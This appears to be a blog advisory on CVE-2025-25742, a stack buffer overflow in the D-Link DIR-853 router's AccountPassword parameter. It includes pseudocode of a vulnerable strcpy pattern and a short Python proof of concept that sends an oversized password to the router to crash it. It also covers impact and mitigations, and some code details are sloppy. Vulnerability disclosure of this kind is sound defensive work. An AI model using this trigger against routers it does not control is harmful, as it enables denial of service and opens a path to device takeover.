CVE-2025-25742 - Stack-Based Buffer Overflow in D-Link DIR-853 A1 (FW1.20B07) via `AccountPassword` Parameter

A fresh vulnerability, CVE-2025-25742, affecting the D-Link DIR-853 A1 wireless router (firmware 1.20B07), was discovered in the wild. This exploit takes advantage of a stack-based buffer overflow in the router’s web management interface, specifically triggered by the AccountPassword parameter in the SetSysEmailSettings module.

In this article, we’ll break down the vulnerability for practical understanding, analyze how an attacker can exploit it, and present relevant code snippets for both testing and demonstration purposes.

Firmware: FW1.20B07 (possibly others)

- Attack Vector: Remote (Web interface, usually on LAN, but can be exposed via misconfiguration or WAN access)

The Vulnerability

The root cause is improper bounds checking. The firmware’s web server application does not enforce the correct maximum length for data passed in the AccountPassword parameter. When an overly long string is submitted, it overflows the reserved buffer on the stack, potentially allowing an attacker to run arbitrary code on the device.

The web interface allows users to set system email settings (for alerts, etc.)

- The /SetSysEmailSettings endpoint accepts an AccountPassword parameter.

Vulnerable Code Pattern (Pseudocode)

void setSysEmailSettings(char *AccountPassword) {
    char passwordBuf[64];
    // Dangerous: strcpy doesn't check length!
    strcpy(passwordBuf, AccountPassword); 
    ...
}

If AccountPassword is longer than 64 bytes, the content overflows into adjacent memory.

Proof of Concept (PoC)

Below is a simple Python exploit that triggers the overflow. WARNING: Do not run this on hardware you do not own! This is for educational purposes only.

import requests

target_ip = '192.168..1'  # Change to your router's IP
url = f'http://{target_ip}/SetSysEmailSettings';
overflow = 'A' * 200  # Far above the buffer size

payload = {
    'AccountEmail': 'test@example.com', 
    'AccountPassword': overflow, 
    'Server': 'smtp.example.com',
    'Port': '25'
}

response = requests.post(url, data=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

If the router is vulnerable, this will likely crash the management interface, potentially reboot the router, or (with advanced exploitation) allow arbitrary code execution.

Denial of Service (DoS): Simple exploitation causes a crash or reboot of the device.

- Remote Code Execution (RCE): A skilled attacker can manipulate the stack to execute custom code, potentially gaining full control of the device (installing backdoors, changing DNS, etc.)

With the right payload (crafted shellcode), this can compromise the router, affecting all users behind it.

How to Mitigate

- Upgrade Firmware: D-Link may release security patches. See the official support page regularly.
- Disable Remote Management: Until patched, keep router management *only* accessible from the local network.

References

- NIST NVD: CVE-2025-25742 *(Check for updates as public details may be pending.)*
- Official D-Link Support Page
- Common Buffer Overflow Attacks – OWASP

Conclusion

CVE-2025-25742 is a classic but dangerous buffer overflow that brings significant risk to D-Link DIR-853 A1 routers. Its easy trigger via the web interface and the potential to gain deep foothold in the network underscores the importance of swift firmware updates and conservative network practices.

If you have this router, restrict web admin access and keep an eye out for firmware updates!

*This post is exclusive to this platform and aims to make router security simple for everyone. Stay tuned for follow-up guides on securing your home network!*

Timeline

Published on: 02/12/2025 17:15:24 UTC
Last modified on: 02/19/2025 19:02:59 UTC